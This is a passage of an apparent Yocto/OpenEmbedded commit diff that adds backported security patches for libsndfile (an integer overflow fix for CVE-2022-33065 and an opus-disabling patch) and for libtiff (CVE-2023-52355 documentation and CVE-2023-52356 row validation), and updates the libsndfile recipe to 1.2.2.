+@@ -1152,7 +1155,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ case 'j' : /* Seek to position from current position. */
+ count = va_arg (argptr, size_t) ;
+ header_seek (psf, count, SEEK_CUR) ;
+- byte_count += count ;
++ read_bytes = count ;
+ break ;
+
+ case '!' : /* Clear buffer, forcing re-read. */
+@@ -1164,8 +1167,17 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ psf->error = SFE_INTERNAL ;
+ break ;
+ } ;
++
++ if (read_bytes > 0 && byte_count > (INT_MAX - read_bytes))
++ { psf_log_printf (psf, "Header size exceeds INT_MAX. Aborting.", c) ;
++ psf->error = SFE_INTERNAL ;
++ break ;
++ } else
++ { byte_count += read_bytes ;
+ } ;
+
++ } ; /*end while*/
++
+ va_end (argptr) ;
+
+ return byte_count ;
+From a23d563386e7c8d93dcdbe7d5b1d63cad6009116 Mon Sep 17 00:00:00 2001
+From: Alex Stewart <alex.stewart@ni.com>
+Date: Thu, 19 Oct 2023 14:07:19 -0400
+Subject: [PATCH] nms_adpcm: fix int overflow in signal estimate
+
+It is possible (though functionally incorrect) for the signal estimate
+calculation in nms_adpcm_update() to overflow the int value of s_e,
+resulting in undefined behavior.
+
+Since adpcm state signal values are never practically larger than
+16 bits, use smaller numeric sizes throughout the file to avoid the
+overflow.
+
+CVE: CVE-2022-33065
+Fixes: https://github.com/libsndfile/libsndfile/issues/833
+
+Authored-by: Arthur Taylor <art@ified.ca>
+Signed-off-by: Alex Stewart <alex.stewart@ni.com>
+Rebased-by: Alex Stewart <alex.stewart@ni.com>
+---
+ src/nms_adpcm.c | 85 ++++++++++++++++++++++++-------------------------
+ 1 file changed, 42 insertions(+), 43 deletions(-)
+
+diff --git a/src/nms_adpcm.c b/src/nms_adpcm.c
+index 96d6ad26..460ea077 100644
+--- a/src/nms_adpcm.c
++++ b/src/nms_adpcm.c
+@@ -48,36 +48,36 @@
+ /* Variable names from ITU G.726 spec */
+ struct nms_adpcm_state
+ { /* Log of the step size multiplier. Operated on by codewords. */
+- int yl ;
++ short yl ;
+
+ /* Quantizer step size multiplier. Generated from yl. */
+- int y ;
++ short y ;
+
+- /* Coefficents of the pole predictor */
+- int a [2] ;
++ /* Coefficients of the pole predictor */
++ short a [2] ;
+
+- /* Coefficents of the zero predictor */
+- int b [6] ;
++ /* Coefficients of the zero predictor */
++ short b [6] ;
+
+ /* Previous quantized deltas (multiplied by 2^14) */
+- int d_q [7] ;
++ short d_q [7] ;
+
+ /* d_q [x] + s_ez [x], used by the pole-predictor for signs only. */
+- int p [3] ;
++ short p [3] ;
+
+ /* Previous reconstructed signal values. */
+- int s_r [2] ;
++ short s_r [2] ;
+
+ /* Zero predictor components of the signal estimate. */
+- int s_ez ;
++ short s_ez ;
+
+ /* Signal estimate, (including s_ez). */
+- int s_e ;
++ short s_e ;
+
+ /* The most recent codeword (enc:generated, dec:inputted) */
+- int Ik ;
++ char Ik ;
+
+- int parity ;
++ char parity ;
+
+ /*
+ ** Offset into code tables for the bitrate.
+@@ -109,7 +109,7 @@ typedef struct
+ } NMS_ADPCM_PRIVATE ;
+
+ /* Pre-computed exponential interval used in the antilog approximation. */
+-static unsigned int table_expn [] =
++static unsigned short table_expn [] =
+ { 0x4000, 0x4167, 0x42d5, 0x444c, 0x45cb, 0x4752, 0x48e2, 0x4a7a,
+ 0x4c1b, 0x4dc7, 0x4f7a, 0x5138, 0x52ff, 0x54d1, 0x56ac, 0x5892,
+ 0x5a82, 0x5c7e, 0x5e84, 0x6096, 0x62b4, 0x64dd, 0x6712, 0x6954,
+@@ -117,21 +117,21 @@ static unsigned int table_expn [] =
+ } ;
+
+ /* Table mapping codewords to scale factor deltas. */
+-static int table_scale_factor_step [] =
++static short table_scale_factor_step [] =
+ { 0x0, 0x0, 0x0, 0x0, 0x4b0, 0x0, 0x0, 0x0, /* 2-bit */
+ -0x3c, 0x0, 0x90, 0x0, 0x2ee, 0x0, 0x898, 0x0, /* 3-bit */
+ -0x30, 0x12, 0x6b, 0xc8, 0x188, 0x2e0, 0x551, 0x1150, /* 4-bit */
+ } ;
+
+ /* Table mapping codewords to quantized delta interval steps. */
+-static unsigned int table_step [] =
++static unsigned short table_step [] =
+ { 0x73F, 0, 0, 0, 0x1829, 0, 0, 0, /* 2-bit */
+ 0x3EB, 0, 0xC18, 0, 0x1581, 0, 0x226E, 0, /* 3-bit */
+ 0x20C, 0x635, 0xA83, 0xF12, 0x1418, 0x19E3, 0x211A, 0x2BBA, /* 4-bit */
+ } ;
+
+ /* Binary search lookup table for quantizing using table_step. */
+-static int table_step_search [] =
++static short table_step_search [] =
+ { 0, 0x1F6D, 0, -0x1F6D, 0, 0, 0, 0, /* 2-bit */
+ 0x1008, 0x1192, 0, -0x219A, 0x1656, -0x1656, 0, 0, /* 3-bit */
+ 0x872, 0x1277, -0x8E6, -0x232B, 0xD06, -0x17D7, -0x11D3, 0, /* 4-bit */
+@@ -179,23 +179,23 @@ static sf_count_t nms_adpcm_seek (SF_PRIVATE *psf, int mode, sf_count_t offset)
+ ** Maps [1,20480] to [1,1024] in an exponential relationship. This is
+ ** approximately ret = b^exp where b = e^(ln(1024)/ln(20480)) ~= 1.0003385
+ */
+-static inline int
+-nms_adpcm_antilog (int exp)
+-{ int ret ;
++static inline short
++nms_adpcm_antilog (short exp)
++{ int_fast32_t r ;
+
+- ret = 0x1000 ;
+- ret += (((exp & 0x3f) * 0x166b) >> 12) ;
+- ret *= table_expn [(exp & 0x7c0) >> 6] ;
+- ret >>= (26 - (exp >> 11)) ;
++ r = 0x1000 ;
++ r += (((int_fast32_t) (exp & 0x3f) * 0x166b) >> 12) ;
++ r *= table_expn [(exp & 0x7c0) >> 6] ;
++ r >>= (26 - (exp >> 11)) ;
+
+- return ret ;
++ return (short) r ;
+ } /* nms_adpcm_antilog */
+
+ static void
+ nms_adpcm_update (struct nms_adpcm_state *s)
+ { /* Variable names from ITU G.726 spec */
+- int a1ul ;
+- int fa1 ;
++ short a1ul, fa1 ;
++ int_fast32_t se ;
+ int i ;
+
+ /* Decay and Modify the scale factor in the log domain based on the codeword. */
+@@ -222,7 +222,7 @@ nms_adpcm_update (struct nms_adpcm_state *s)
+ else if (fa1 > 256)
+ fa1 = 256 ;
+
+- s->a [0] = (0xff * s->a [0]) >> 8 ;
++ s->a [0] = (s->a [0] * 0xff) >> 8 ;
+ if (s->p [0] != 0 && s->p [1] != 0 && ((s->p [0] ^ s->p [1]) < 0))
+ s->a [0] -= 192 ;
+ else
+@@ -230,7 +230,7 @@ nms_adpcm_update (struct nms_adpcm_state *s)
+ fa1 = -fa1 ;
+ }
+
+- s->a [1] = fa1 + ((0xfe * s->a [1]) >> 8) ;
++ s->a [1] = fa1 + ((s->a [1] * 0xfe) >> 8) ;
+ if (s->p [0] != 0 && s->p [2] != 0 && ((s->p [0] ^ s->p [2]) < 0))
+ s->a [1] -= 128 ;
+ else
+@@ -250,19 +250,18 @@ nms_adpcm_update (struct nms_adpcm_state *s)
+ s->a [0] = a1ul ;
+ } ;
+
+- /* Compute the zero predictor estimate. Rotate past deltas too. */
+- s->s_ez = 0 ;
++ /* Compute the zero predictor estimate and rotate past deltas. */
++ se = 0 ;
+ for (i = 5 ; i >= 0 ; i--)
+- { s->s_ez += s->d_q [i] * s->b [i] ;
++ { se += (int_fast32_t) s->d_q [i] * s->b [i] ;
+ s->d_q [i + 1] = s->d_q [i] ;
+ } ;
++ s->s_ez = se >> 14 ;
+
+- /* Compute the signal estimate. */
+- s->s_e = s->a [0] * s->s_r [0] + s->a [1] * s->s_r [1] + s->s_ez ;
+-
+- /* Return to scale */
+- s->s_ez >>= 14 ;
+- s->s_e >>= 14 ;
++ /* Complete the signal estimate. */
++ se += (int_fast32_t) s->a [0] * s->s_r [0] ;
++ se += (int_fast32_t) s->a [1] * s->s_r [1] ;
++ s->s_e = se >> 14 ;
+
+ /* Rotate members to prepare for next iteration. */
+ s->s_r [1] = s->s_r [0] ;
+@@ -274,7 +273,7 @@ nms_adpcm_update (struct nms_adpcm_state *s)
+ static int16_t
+ nms_adpcm_reconstruct_sample (struct nms_adpcm_state *s, uint8_t I)
+ { /* Variable names from ITU G.726 spec */
+- int dqx ;
++ int_fast32_t dqx ;
+
+ /*
+ ** The ordering of the 12-bit right-shift is a precision loss. It agrees
+@@ -308,17 +307,17 @@ nms_adpcm_codec_init (struct nms_adpcm_state *s, enum nms_enc_type type)
+ /*
+ ** nms_adpcm_encode_sample()
+ **
+-** Encode a linear 16-bit pcm sample into a 2,3, or 4 bit NMS-ADPCM codeword
++** Encode a linear 16-bit pcm sample into a 2, 3, or 4 bit NMS-ADPCM codeword
+ ** using and updating the predictor state.
+ */
+ static uint8_t
+ nms_adpcm_encode_sample (struct nms_adpcm_state *s, int16_t sl)
+ { /* Variable names from ITU G.726 spec */
+- int d ;
++ int_fast32_t d ;
+ uint8_t I ;
+
+ /* Down scale the sample from 16 => ~14 bits. */
+- sl = (sl * 0x1fdf) / 0x7fff ;
++ sl = ((int_fast32_t) sl * 0x1fdf) / 0x7fff ;
+
+ /* Compute estimate, and delta from actual value */
+ nms_adpcm_update (s) ;
+@@ -407,7 +406,7 @@ nms_adpcm_encode_sample (struct nms_adpcm_state *s, int16_t sl)
+ */
+ static int16_t
+ nms_adpcm_decode_sample (struct nms_adpcm_state *s, uint8_t I)
+-{ int sl ;
++{ int_fast32_t sl ;
+
+ nms_adpcm_update (s) ;
+ sl = nms_adpcm_reconstruct_sample (s, I) ;
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/noopus.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/noopus.patch
new file mode 100644
index 0000000000..cb1778bede
--- /dev/null
+++ b/meta/recipes-multimedia/libsndfile/libsndfile1/noopus.patch
@@ -0,0 +1,68 @@
+From 593256a3e386a4e17fe26cfbfb813cf4996447d7 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 4 Apr 2022 19:46:44 +0200
+Subject: [PATCH] Disable opus library
+
+We don't have opus in OE-Core which causes all the external libs to be disabled
+silently. The silent issue is discussed in the link below and hints a patch
+to make things configurable may be accepted.
+
+This patch removing the opus piece at least gets most of the functionality
+we previously used back whilst the issue is discussed.
+
+Upstream-Status: Denied [https://github.com/libsndfile/libsndfile/pull/812]
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ configure.ac | 10 +++++-----
+ src/ogg_opus.c | 2 +-
+ 2 files changed, 6 insertions(+), 6 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index 727b67bc..f9d2e447 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -373,13 +373,13 @@ AS_IF([test -n "$PKG_CONFIG"], [
+ enable_external_libs=yes
+ ])
+
+- AS_IF([test "x$ac_cv_flac$ac_cv_ogg$ac_cv_vorbis$ac_cv_vorbisenc$ac_cv_opus" = "xyesyesyesyesyes"], [
++ AS_IF([test "x$ac_cv_flac$ac_cv_ogg$ac_cv_vorbis$ac_cv_vorbisenc" = "xyesyesyesyes"], [
+ HAVE_EXTERNAL_XIPH_LIBS=1
+ enable_external_libs=yes
+
+- EXTERNAL_XIPH_CFLAGS="$FLAC_CFLAGS $VORBIS_CFLAGS $VORBISENC_CFLAGS $SPEEX_CFLAGS $OPUS_CFLAGS $OGG_CFLAGS "
+- EXTERNAL_XIPH_LIBS="$FLAC_LIBS $VORBIS_LIBS $VORBISENC_LIBS $SPEEX_LIBS $OPUS_LIBS $OGG_LIBS "
+- EXTERNAL_XIPH_REQUIRE="flac ogg vorbis vorbisenc opus"
++ EXTERNAL_XIPH_CFLAGS="$FLAC_CFLAGS $VORBIS_CFLAGS $VORBISENC_CFLAGS $SPEEX_CFLAGS $OGG_CFLAGS "
++ EXTERNAL_XIPH_LIBS="$FLAC_LIBS $VORBIS_LIBS $VORBISENC_LIBS $SPEEX_LIBS $OGG_LIBS "
++ EXTERNAL_XIPH_REQUIRE="flac ogg vorbis vorbisenc"
+
+ if test x$ac_cv_speex = "xyes" ; then
+ EXTERNAL_XIPH_REQUIRE="$EXTERNAL_XIPH_REQUIRE speex"
+@@ -788,7 +788,7 @@ AC_MSG_RESULT([
+
+ Experimental code : ................... ${enable_experimental:-no}
+ Using ALSA in example programs : ...... ${enable_alsa:-no}
+- External FLAC/Ogg/Vorbis/Opus : ....... ${enable_external_libs:-no}
++ External FLAC/Ogg/Vorbis : ....... ${enable_external_libs:-no}
+ External MPEG Lame/MPG123 : ........... ${enable_mpeg:-no}
+ Building Octave interface : ........... ${OCTAVE_BUILD}
+
+diff --git a/src/ogg_opus.c b/src/ogg_opus.c
+index dfa446ee..0d4fe57b 100644
+--- a/src/ogg_opus.c
++++ b/src/ogg_opus.c
+@@ -159,7 +159,7 @@
+ #include "sfendian.h"
+ #include "common.h"
+
+-#if HAVE_EXTERNAL_XIPH_LIBS
++#if 0
+
+ #include <ogg/ogg.h>
+ #include <opus/opus.h>
+--
+2.30.2
+
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1_1.0.28.bb b/meta/recipes-multimedia/libsndfile/libsndfile1_1.0.28.bb
deleted file mode 100644
index b100108766..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1_1.0.28.bb
+++ /dev/null
@@ -1,43 +0,0 @@
-SUMMARY = "Audio format Conversion library"
-HOMEPAGE = "http://www.mega-nerd.com/libsndfile"
-AUTHOR = "Erik de Castro Lopo"
-DEPENDS = "flac libogg libvorbis"
-SECTION = "libs/multimedia"
-LICENSE = "LGPLv2.1"
-
-SRC_URI = "http://www.mega-nerd.com/libsndfile/files/libsndfile-${PV}.tar.gz \
- file://CVE-2017-6892.patch \
- file://CVE-2017-8361-8365.patch \
- file://CVE-2017-8362.patch \
- file://CVE-2017-8363.patch \
- file://CVE-2017-14634.patch \
- file://CVE-2018-13139.patch \
- file://0001-a-ulaw-fix-multiple-buffer-overflows-432.patch \
- file://CVE-2018-19432.patch \
- file://CVE-2017-12562.patch \
- file://CVE-2018-19758.patch \
- file://CVE-2019-3832.patch \
- "
-
-SRC_URI[md5sum] = "646b5f98ce89ac60cdb060fcd398247c"
-SRC_URI[sha256sum] = "1ff33929f042fa333aed1e8923aa628c3ee9e1eb85512686c55092d1e5a9dfa9"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=e77fe93202736b47c07035910f47974a"
-
-CVE_PRODUCT = "libsndfile"
-
-S = "${WORKDIR}/libsndfile-${PV}"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'alsa', d)}"
-PACKAGECONFIG[alsa] = "--enable-alsa,--disable-alsa,alsa-lib"
-PACKAGECONFIG[regtest] = "--enable-sqlite,--disable-sqlite,sqlite3"
-
-inherit autotools lib_package pkgconfig multilib_header
-
-do_install_append() {
- oe_multilib_header sndfile.h
-}
-
-# This can't be replicated and is just a memory leak.
-# https://github.com/erikd/libsndfile/issues/398
-CVE_CHECK_WHITELIST += "CVE-2018-13419"
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1_1.2.2.bb b/meta/recipes-multimedia/libsndfile/libsndfile1_1.2.2.bb
new file mode 100644
index 0000000000..a9ee7c3575
--- /dev/null
+++ b/meta/recipes-multimedia/libsndfile/libsndfile1_1.2.2.bb
@@ -0,0 +1,32 @@
+SUMMARY = "Audio format Conversion library"
+DESCRIPTION = "Library for reading and writing files containing sampled \
+sound (such as MS Windows WAV and the Apple/SGI AIFF format) through \
+one standard library interface."
+HOMEPAGE = "https://libsndfile.github.io/libsndfile/"
+DEPENDS = "flac libogg libvorbis"
+SECTION = "libs/multimedia"
+LICENSE = "LGPL-2.1-only"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/libsndfile-${PV}.tar.xz \
+ file://noopus.patch \
+ file://cve-2022-33065.patch \
+ "
+GITHUB_BASE_URI = "https://github.com/libsndfile/libsndfile/releases/"
+
+SRC_URI[sha256sum] = "3799ca9924d3125038880367bf1468e53a1b7e3686a934f098b7e1d286cdb80e"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=e77fe93202736b47c07035910f47974a"
+
+CVE_PRODUCT = "libsndfile"
+
+S = "${WORKDIR}/libsndfile-${PV}"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'alsa', d)}"
+PACKAGECONFIG[alsa] = "--enable-alsa,--disable-alsa,alsa-lib"
+PACKAGECONFIG[regtest] = "--enable-sqlite,--disable-sqlite,sqlite3"
+
+inherit autotools lib_package pkgconfig multilib_header github-releases
+
+do_install:append() {
+ oe_multilib_header sndfile.h
+}
diff --git a/meta/recipes-multimedia/libtheora/libtheora_1.1.1.bb b/meta/recipes-multimedia/libtheora/libtheora_1.1.1.bb
index 178e1a9240..11674af379 100644
--- a/meta/recipes-multimedia/libtheora/libtheora_1.1.1.bb
+++ b/meta/recipes-multimedia/libtheora/libtheora_1.1.1.bb
@@ -7,7 +7,6 @@ LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://COPYING;md5=cf91718f59eb6a83d06dc7bcaf411132"
DEPENDS = "libogg"
-PR = "r1"
SRC_URI = "http://downloads.xiph.org/releases/theora/libtheora-${PV}.tar.bz2 \
file://no-docs.patch"
diff --git a/meta/recipes-multimedia/libtiff/tiff/CVE-2023-52355-0001.patch b/meta/recipes-multimedia/libtiff/tiff/CVE-2023-52355-0001.patch
new file mode 100644
index 0000000000..f5520fcafd
--- /dev/null
+++ b/meta/recipes-multimedia/libtiff/tiff/CVE-2023-52355-0001.patch
@@ -0,0 +1,238 @@
+From 335947359ce2dd3862cd9f7c49f92eba065dfed4 Mon Sep 17 00:00:00 2001
+From: Su_Laus <sulau@freenet.de>
+Date: Thu, 1 Feb 2024 13:06:08 +0000
+Subject: [PATCH] manpage: Update TIFF documentation about TIFFOpenOptions.rst
+ and TIFFOpenOptionsSetMaxSingleMemAlloc() usage and some other small fixes.
+
+CVE: CVE-2023-52355
+Upstream-Status: Backport [https://gitlab.com/libtiff/libtiff/-/commit/335947359ce2dd3862cd9f7c49f92eba065dfed4]
+
+Signed-off-by: Yogita Urade <yogita.urade@windriver.com>
+---
+ doc/functions/TIFFDeferStrileArrayWriting.rst | 5 +++
+ doc/functions/TIFFError.rst | 3 ++
+ doc/functions/TIFFOpen.rst | 13 +++---
+ doc/functions/TIFFOpenOptions.rst | 44 ++++++++++++++++++-
+ doc/functions/TIFFStrileQuery.rst | 5 +++
+ doc/libtiff.rst | 31 ++++++++++++-
+ 6 files changed, 91 insertions(+), 10 deletions(-)
+
+diff --git a/doc/functions/TIFFDeferStrileArrayWriting.rst b/doc/functions/TIFFDeferStrileArrayWriting.rst
+index 60ee746..705aebc 100644
+--- a/doc/functions/TIFFDeferStrileArrayWriting.rst
++++ b/doc/functions/TIFFDeferStrileArrayWriting.rst
+@@ -61,6 +61,11 @@ Diagnostics
+ All error messages are directed to the :c:func:`TIFFErrorExtR` routine.
+ Likewise, warning messages are directed to the :c:func:`TIFFWarningExtR` routine.
+
++Note
++----
++
++This functionality was introduced with libtiff 4.1.
++
+ See also
+ --------
+
+diff --git a/doc/functions/TIFFError.rst b/doc/functions/TIFFError.rst
+index 99924ad..cf4b37c 100644
+--- a/doc/functions/TIFFError.rst
++++ b/doc/functions/TIFFError.rst
+@@ -65,6 +65,9 @@ or :c:func:`TIFFClientOpenExt`.
+ Furthermore, a **custom defined data structure** *user_data* for the
+ error handler can be given along.
+
++Please refer to :doc:`/functions/TIFFOpenOptions` for how to setup the
++application-specific handler introduced with libtiff 4.5.
++
+ Note
+ ----
+
+diff --git a/doc/functions/TIFFOpen.rst b/doc/functions/TIFFOpen.rst
+index db79d7b..adc474f 100644
+--- a/doc/functions/TIFFOpen.rst
++++ b/doc/functions/TIFFOpen.rst
+@@ -94,8 +94,9 @@ TIFF structure without closing the file handle and afterwards the
+ file should be closed using its file descriptor *fd*.
+
+ :c:func:`TIFFOpenExt` (added in libtiff 4.5) is like :c:func:`TIFFOpen`,
+-but options, such as re-entrant error and warning handlers may be passed
+-with the *opts* argument. The *opts* argument may be NULL.
++but options, such as re-entrant error and warning handlers and a limit in byte
++that libtiff internal memory allocation functions are allowed to request per call
++may be passed with the *opts* argument. The *opts* argument may be NULL.
+ Refer to :doc:`TIFFOpenOptions` for allocating and filling the *opts* argument
+ parameters. The allocated memory for :c:type:`TIFFOpenOptions`
+ can be released straight after successful execution of the related
+@@ -105,9 +106,7 @@ can be released straight after successful execution of the related
+ but opens a TIFF file with a Unicode filename.
+
+ :c:func:`TIFFFdOpenExt` (added in libtiff 4.5) is like :c:func:`TIFFFdOpen`,
+-but options, such as re-entrant error and warning handlers may be passed
+-with the *opts* argument. The *opts* argument may be NULL.
+-Refer to :doc:`TIFFOpenOptions` for filling the *opts* argument.
++but options argument *opts* like for :c:func:`TIFFOpenExt` can be passed.
+
+ :c:func:`TIFFSetFileName` sets the file name in the tif-structure
+ and returns the old file name.
+@@ -326,5 +325,5 @@ See also
+
+ :doc:`libtiff` (3tiff),
+ :doc:`TIFFClose` (3tiff),
+-:doc:`TIFFStrileQuery`,
+-:doc:`TIFFOpenOptions`
+\ No newline at end of file
++:doc:`TIFFStrileQuery` (3tiff),
++:doc:`TIFFOpenOptions`
+diff --git a/doc/functions/TIFFOpenOptions.rst b/doc/functions/TIFFOpenOptions.rst
+index 5c67566..23f2975 100644
+--- a/doc/functions/TIFFOpenOptions.rst
++++ b/doc/functions/TIFFOpenOptions.rst
+@@ -38,12 +38,17 @@ opaque structure and returns a :c:type:`TIFFOpenOptions` pointer.
+ :c:func:`TIFFOpenOptionsFree` releases the allocated memory for
+ :c:type:`TIFFOpenOptions`. The allocated memory for :c:type:`TIFFOpenOptions`
+ can be released straight after successful execution of the related
+-TIFF open"Ext" functions like :c:func:`TIFFOpenExt`.
++TIFFOpen"Ext" functions like :c:func:`TIFFOpenExt`.
+
+ :c:func:`TIFFOpenOptionsSetMaxSingleMemAlloc` sets parameter for the
+ maximum single memory limit in byte that ``libtiff`` internal memory allocation
+ functions are allowed to request per call.
+
++.. note::
++ However, the ``libtiff`` external functions :c:func:`_TIFFmalloc`
++ and :c:func:`_TIFFrealloc` **do not apply** this internal memory
++ allocation limit set by :c:func:`TIFFOpenOptionsSetMaxSingleMemAlloc`!
++
+ :c:func:`TIFFOpenOptionsSetErrorHandlerExtR` sets the function pointer to
+ an application-specific and per-TIFF handle (re-entrant) error handler.
+ Furthermore, a pointer to a **custom defined data structure** *errorhandler_user_data*
+@@ -55,6 +60,43 @@ The *errorhandler_user_data* argument may be NULL.
+ :c:func:`TIFFOpenOptionsSetErrorHandlerExtR` but for the warning handler,
+ which is invoked through :c:func:`TIFFWarningExtR`
+
++Example
++-------
++
++::
++
++ #include "tiffio.h"
++
++ typedef struct MyErrorHandlerUserDataStruct
++ {
++ /* ... any user data structure ... */
++ } MyErrorHandlerUserDataStruct;
++
++ static int myErrorHandler(TIFF *tiff, void *user_data, const char *module,
++ const char *fmt, va_list ap)
++ {
++ MyErrorHandlerUserDataStruct *errorhandler_user_data =
++ (MyErrorHandlerUserDataStruct *)user_data;
++ /*... code of myErrorHandler ...*/
++ return 1;
++ }
++
++
++ main()
++ {
++ tmsize_t limit = (256 * 1024 * 1024);
++ MyErrorHandlerUserDataStruct user_data = { /* ... any data ... */};
++
++ TIFFOpenOptions *opts = TIFFOpenOptionsAlloc();
++ TIFFOpenOptionsSetMaxSingleMemAlloc(opts, limit);
++ TIFFOpenOptionsSetErrorHandlerExtR(opts, myErrorHandler, &user_data);
++ TIFF *tif = TIFFOpenExt("foo.tif", "r", opts);
++ TIFFOpenOptionsFree(opts);
++ /* ... go on here ... */
++
++ TIFFClose(tif);
++ }
++
+ Note
+ ----
+
+diff --git a/doc/functions/TIFFStrileQuery.rst b/doc/functions/TIFFStrileQuery.rst
+index f8631af..7931fe4 100644
+--- a/doc/functions/TIFFStrileQuery.rst
++++ b/doc/functions/TIFFStrileQuery.rst
+@@ -66,6 +66,11 @@ Diagnostics
+ All error messages are directed to the :c:func:`TIFFErrorExtR` routine.
+ Likewise, warning messages are directed to the :c:func:`TIFFWarningExtR` routine.
+
++Note
++----
++
++This functionality was introduced with libtiff 4.1.
++
+ See also
+ --------
+
+diff --git a/doc/libtiff.rst b/doc/libtiff.rst
+index 6a0054c..d96a860 100644
+--- a/doc/libtiff.rst
++++ b/doc/libtiff.rst
+@@ -90,11 +90,15 @@ compatibility on machines with a segmented architecture.
+ :c:func:`realloc`, and :c:func:`free` routines in the C library.)
+
+ To deal with segmented pointer issues ``libtiff`` also provides
+-:c:func:`_TIFFmemcpy`, :c:func:`_TIFFmemset`, and :c:func:`_TIFFmemmove`
++:c:func:`_TIFFmemcpy`, :c:func:`_TIFFmemset`, and :c:func:`_TIFFmemcmp`
+ routines that mimic the equivalent ANSI C routines, but that are
+ intended for use with memory allocated through :c:func:`_TIFFmalloc`
+ and :c:func:`_TIFFrealloc`.
+
++With ``libtiff`` 4.5 a method was introduced to limit the internal
++memory allocation that functions are allowed to request per call
++(see :c:func:`TIFFOpenOptionsSetMaxSingleMemAlloc` and :c:func:`TIFFOpenExt`).
++
+ Error Handling
+ --------------
+
+@@ -106,6 +110,10 @@ routine that can be specified with a call to :c:func:`TIFFSetErrorHandler`.
+ Likewise warning messages are directed to a single handler routine
+ that can be specified with a call to :c:func:`TIFFSetWarningHandler`
+
++Further application-specific and per-TIFF handle (re-entrant) error handler
++and warning handler can be set. Please refer to :doc:`/functions/TIFFError`
++and :doc:`/functions/TIFFOpenOptions`.
++
+ Basic File Handling
+ -------------------
+
+@@ -139,7 +147,7 @@ a ``"w"`` argument:
+ main()
+ {
+ TIFF* tif = TIFFOpen("foo.tif", "w");
+- ... do stuff ...
++ /* ... do stuff ... */
+ TIFFClose(tif);
+ }
+
+@@ -157,6 +165,25 @@ to always call :c:func:`TIFFClose` or :c:func:`TIFFFlush` to flush any
+ buffered information to a file. Note that if you call :c:func:`TIFFClose`
+ you do not need to call :c:func:`TIFFFlush`.
+
++.. warning::
++
++ In order to prevent out-of-memory issues when opening a TIFF file
++ :c:func:`TIFFOpenExt` can be used and then the maximum single memory
++ limit in byte that ``libtiff`` internal memory allocation functions
++ are allowed to request per call can be set with
++ :c:func:`TIFFOpenOptionsSetMaxSingleMemAlloc`.
++
++Example
++
++::
++
++ tmsize_t limit = (256 * 1024 * 1024);
++ TIFFOpenOptions *opts = TIFFOpenOptionsAlloc();
++ TIFFOpenOptionsSetMaxSingleMemAlloc(opts, limit);
++ TIFF *tif = TIFFOpenExt("foo.tif", "w", opts);
++ TIFFOpenOptionsFree(opts);
++ /* ... go on here ... */
++
+ TIFF Directories
+ ----------------
+
+--
+2.40.0
+
diff --git a/meta/recipes-multimedia/libtiff/tiff/CVE-2023-52355-0002.patch b/meta/recipes-multimedia/libtiff/tiff/CVE-2023-52355-0002.patch
new file mode 100644
index 0000000000..19a1ef727a
--- /dev/null
+++ b/meta/recipes-multimedia/libtiff/tiff/CVE-2023-52355-0002.patch
@@ -0,0 +1,28 @@
+From 16ab4a205cfc938c32686e8d697d048fabf97ed4 Mon Sep 17 00:00:00 2001
+From: Timothy Lyanguzov <theta682@gmail.com>
+Date: Thu, 1 Feb 2024 11:19:06 +0000
+Subject: [PATCH] Fix typo.
+
+CVE: CVE-2023-52355
+Upstream-Status: Backport [https://gitlab.com/libtiff/libtiff/-/commit/16ab4a205cfc938c32686e8d697d048fabf97ed4]
+
+Signed-off-by: Yogita Urade <yogita.urade@windriver.com>
+---
+ doc/libtiff.rst | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/doc/libtiff.rst b/doc/libtiff.rst
+index d96a860..4fedc3e 100644
+--- a/doc/libtiff.rst
++++ b/doc/libtiff.rst
+@@ -169,7 +169,7 @@ you do not need to call :c:func:`TIFFFlush`.
+
+ In order to prevent out-of-memory issues when opening a TIFF file
+ :c:func:`TIFFOpenExt` can be used and then the maximum single memory
+- limit in byte that ``libtiff`` internal memory allocation functions
++ limit in bytes that ``libtiff`` internal memory allocation functions
+ are allowed to request per call can be set with
+ :c:func:`TIFFOpenOptionsSetMaxSingleMemAlloc`.
+
+--
+2.40.0
diff --git a/meta/recipes-multimedia/libtiff/tiff/CVE-2023-52356.patch b/meta/recipes-multimedia/libtiff/tiff/CVE-2023-52356.patch
new file mode 100644
index 0000000000..75f5d8946a
--- /dev/null
+++ b/meta/recipes-multimedia/libtiff/tiff/CVE-2023-52356.patch
@@ -0,0 +1,49 @@
+From 51558511bdbbcffdce534db21dbaf5d54b31638a Mon Sep 17 00:00:00 2001
+From: Even Rouault <even.rouault@spatialys.com>
+Date: Thu, 1 Feb 2024 11:38:14 +0000
+Subject: [PATCH] TIFFReadRGBAStrip/TIFFReadRGBATile: add more validation of
+ col/row (fixes #622)
+
+CVE: CVE-2023-52356
+Upstream-Status: Backport [https://gitlab.com/libtiff/libtiff/-/commit/51558511bdbbcffdce534db21dbaf5d54b31638a]
+
+Signed-off-by: Yogita Urade <yogita.urade@windriver.com>
+---
+ libtiff/tif_getimage.c | 15 +++++++++++++++
+ 1 file changed, 15 insertions(+)
+
+diff --git a/libtiff/tif_getimage.c b/libtiff/tif_getimage.c
+index 41f7dfd..9cd6eee 100644
+--- a/libtiff/tif_getimage.c
++++ b/libtiff/tif_getimage.c
+@@ -3224,6 +3224,13 @@ int TIFFReadRGBAStripExt(TIFF *tif, uint32_t row, uint32_t *raster,
+ if (TIFFRGBAImageOK(tif, emsg) &&
+ TIFFRGBAImageBegin(&img, tif, stop_on_error, emsg))
+ {
++ if (row >= img.height)
++ {
